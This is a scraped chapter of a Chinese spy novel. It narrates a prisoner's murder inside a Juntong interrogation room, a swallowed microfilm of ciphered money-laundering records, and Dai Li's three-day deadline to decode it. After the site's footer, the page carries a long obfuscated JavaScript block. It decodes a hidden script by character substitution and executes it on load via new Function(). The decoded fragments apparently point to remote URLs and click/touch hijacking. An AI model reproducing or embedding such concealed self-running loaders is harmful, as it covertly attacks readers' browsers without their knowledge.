第50章 灭口,一本无法解密的黑账
第50章灭口,一本无法解密的黑账(第1/2页)
余则成赶到审讯室的时候,走廊里已经站满了人。
行动处的、稽查处的、宪兵队的,黑压压一片。所有人都站在审讯室门口往里看,但没有一个人进去。像一群围着井口的人,往下看了一眼之后就不敢再往前了。
余则成挤进人群。
审讯室的门开着。灯管在头顶发出惨白的光。
王显忠躺在水泥地上。
仰面朝天。眼睛睁着。瞳孔已经放大了,定在天花板上的某个点。
脖子上有一个洞。不大,但很深。血从洞里流出来,在头发下面汇成了一滩暗红色的水洼,往四面八方蔓延。
看守被打晕了,倒在角落里。头上有一块瘀青,后脑勺肿了一个大包。
齐思远已经在里面了。蹲在王显忠旁边,手里拿着一根从地上捡起来的东西。
一支派克钢笔。
笔尖是金的。笔杆是黑色赛璐珞。笔尖上沾着血。
“颈动脉。一刺即中。”齐思远的声音听不出什么情绪,像在念一份验尸报告,“手法极其精准。刺入角度向上倾斜大约三十度,直接切断了颈内动脉。失血性休克,死亡时间不超过二十分钟。”
余则成蹲了下来。
他没有看伤口。他在看王显忠的手。
王显忠的右手攥成了拳。指关节发白。拳头里面有什么东西。
“把他的手掰开。”
齐思远招呼了一个外勤过来。外勤戴着手套,费了一些力气才把僵硬的手指一根一根扳开。
拳心里有一小团东西。湿漉漉的、黏糊糊的,像嚼过的纸。
是嚼过的纸。
余则成用镊子把那团东西夹了出来,放在灯下看。纸团被口水泡烂了大半,勉强能看出一点轮廓。
“密码本的残页。”齐思远凑近看了一眼,眉头皱了起来,“他在被杀之前试图吞掉什么东西,但只吞下了一半,手里还攥着剩下的纸团。凶手来得太快了。”
余则成用镊子把纸团拨开,摇了摇头。
“不对。这不是密码残页,这是一张用来包裹东西的糯米纸。他真正要吞的东西,已经咽下去了。”余则成把纸团放进了一个玻璃培养皿里,“他故意把包装纸揉烂攥在手里,是为了骗凶手以为证据已经被销毁或者还在他手里。”
“法医呢?”
“在路上了。”
余则成站起来,环顾了一下审讯室。
门锁完好。窗户关着。通风口太小,人钻不进来。地上只有看守和王显忠的脚印,没有第三个人的。
“凶手是从正门进来的。”余则成说。
“嗯。”齐思远点头,“而且他知道看守的换班时间。他是在上一班和下一班交接的空档进来的。这个空档只有四分钟。”
四分钟。进门、打晕看守、用钢笔刺穿颈动脉、翻找文件、离开。
整个过程干净利落,没有多余动作。
“这不是临时起意。”余则成的声音沉了下去,“这是预谋。而且凶手非常熟悉军统内部的审讯室安保流程。”
齐思远没有回答。他走到门边,蹲下来看门锁。门锁上没有撬动的痕迹。
“用钥匙开的。”他说。
军统审讯室的钥匙,全局只有七把。行动处处长一把,稽查处处长一把,宪兵队长一把,值班副官一把,总务处两把,局长办公室一把。
余则成和齐思远同时想到了同一件事。
但谁也没有说出来。
法医到了。
余则成在旁边看着法医做初步检查。等到法医翻开王显忠的衣服时,他注意到了一个细节。
王显忠的内衬上衣有一个暗扣口袋。口袋的扣子是开着的。里面是空的。
“他身上原来装着什么东西。”余则成指着那个口袋,“被凶手拿走了。”
法医继续检查。在王显忠的胃部进行初步触诊后,他抬起头。
“肚子里有东西。硬的。像是金属或者塑料。”
三个小时后。
军统法医室。
余则成站在灯下,看着法医从王显忠的胃里取出来的东西。
一枚微缩胶卷。
比指甲盖还小。被胃酸泡了一阵,边缘有些发黄,但胶片本身还完好。
余则成带着胶卷回到了机要室。他关上门,拉上窗帘,打开暗房灯。用放大镜和显影液,一点一点地把胶卷上的内容还原了出来。
显影液在红色的暗房灯下慢慢渗透胶片。画面一点一点地浮现出来。
是一堆数字。
密密麻麻的数字。排列得很整齐,横排二十个一组,竖排一共四十二行。每个数字之间有固定的间距。没有标点,没有文字,只有数字。
余则成皱了一下眉。
他拿出汪伪的三套密码本,逐一尝试解码。
A套密码本。不对。解出来的全是乱码。
B套密码本。还是不对。乱码。
C套密码本。依然是乱码。
余则成把三本密码本放在一边,盯着那些数字看了很久。
有什么地方不对。
这些数字的排列方式不像汪伪的密码格式。汪伪的密码通常以五个数字为一组,组与组之间有间隔。但这份胶卷上的数字是二十个一组,中间没有分组标记。
(本章未完,请点击下一页继续阅读)第50章灭口,一本无法解密的黑账(第2/2页)
二十个一组。
余则成在脑子里搜索了一下。
军统内部有一种极其罕见的加密方式,叫“三元套叠码”。由三层独立的密码叠加而成,每一层都需要不同的密钥才能解开。解码顺序是固定的,先解第三层,再解第二层,最后解第一层。如果顺序错了,解出来的就是无法复原的乱码。
这种密码只有军统最高层的财务部门在使用。用来加密最机密的资金流向记录。
余则成坐在暗房灯下。红色的光照在他脸上,把他的表情染成了一种说不上来的颜色。
王显忠不仅是汪伪的内应。
他还在给军统内部的某个高层洗钱。
门被人轻轻敲了两下。
余则成打开门。吕宗方站在门外。
“弄出来了?”
“弄出来了。但解不开。”余则成把显影后的胶片递给他。
吕宗方拿到灯下看了一眼。看的时间不长。大约五秒。
然后他把胶片还给了余则成。
“别试了。”他的声音很淡,像一块石头扔进了深水里,“这是军统的三元套叠码。”
余则成的手指微微收紧了。
“你认识这种码?”
“认识。”吕宗方靠在门框上,双手揣在中山装的口袋里,“全军统用过这种码的人不超过十个。它只用在一种场合:大额资金的秘密流转。”
他停了一下。
“王显忠不仅是汪伪埋在侍从室的钉子。他还是军统某位高层养的敛财黑手套。替人洗钱、替人做账、替人把不该有的钱变成应该有的钱。”
“哪位高层?”
吕宗方没有回答这个问题。
他转身往走廊里走。走了几步,停了一下。
“这份胶卷的事,你跟谁都不要说。包括齐思远。”
他走了。
余则成把胶卷用黑布包好,锁进了保险柜最底层的暗格里。
他坐回椅子上。
暗房灯的红光在墙上投下一个巨大的影子。影子在余则成呼吸的起伏中微微晃动,像一个沉在水底的人。
他以为抓住了白玉兰就结束了。
但这只是表皮。
表皮底下是肉。肉底下是骨头。骨头底下是一条看不见底的深渊。
第二天上午。
余则成被叫到了戴笠的办公室。
办公室里只有戴笠一个人。他坐在那张巨大的红木桌后面,桌面上干干净净,只放了一杯茶和一份文件。
文件的封面上写着四个字:“白玉兰案卷”。
戴笠看了余则成一眼。那一眼像一把手术刀,从头顶划到脚底,把他从外面剥到了里面。
“王显忠死了。”
“是。”
“审讯室里死的。”
“是。”
“他身上的东西被拿走了。”
“是。”
戴笠把茶杯端起来,喝了一口。放下。
“从他肚子里掏出来的那枚胶卷,你看过了?”
“看过了。”余则成的脊背挺得很直,“上面是一组加密数据。我尝试了三套汪伪密码本,都无法解开。”
戴笠的目光停在他脸上。停了很久。
然后他伸出手,把那份文件推到了余则成面前。
“这份胶卷交给你。”他的声音不高,每个字之间都隔着一小段沉默,像是在数台阶,“三天。我要知道上面写了什么。每一个数字,每一行。”
余则成看着那份文件。
“如果解不开呢?”
戴笠的嘴角没有动。但他的眼睛里有什么东西闪了一下。冷的。
“解不开,你和齐思远一起去渣滓洞住一阵。”
他端起茶杯,又喝了一口。
“三天。够了吧?”
余则成的后背贴着衬衫。衬衫贴着冷汗。冷汗贴着皮肤。
“够了。”
他拿起文件,转身走出了办公室。
门在身后合上。走廊里很安静。只有他自己的脚步声。一步一步,踩在木头地板上,发出沉闷的声响。
三天。
三元套叠码。
渣滓洞。
余则成把文件夹在腋下,往机要室的方向走。
走到楼梯拐角的时候,他在窗边停了一秒。
窗外是重庆的天空。灰蒙蒙的,像一块洗不干净的抹布。远处嘉陵江的水面上反射着白光。
他在想一件事。
一件让他后背发凉的事。
王显忠是在军统自己的审讯室里被灭口的。凶手用的是钥匙开的门。全局只有七把钥匙。
杀死王显忠的人,就在这栋楼里。
就在他每天抬头低头、吃饭喝水、点头微笑的人当中。
余则成继续走。脚步没有变快,也没有变慢。
但他的手指在裤兜里,攥成了拳。
一秒记住【顶点小说】
dingdian911.com,更新快,无弹窗!
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();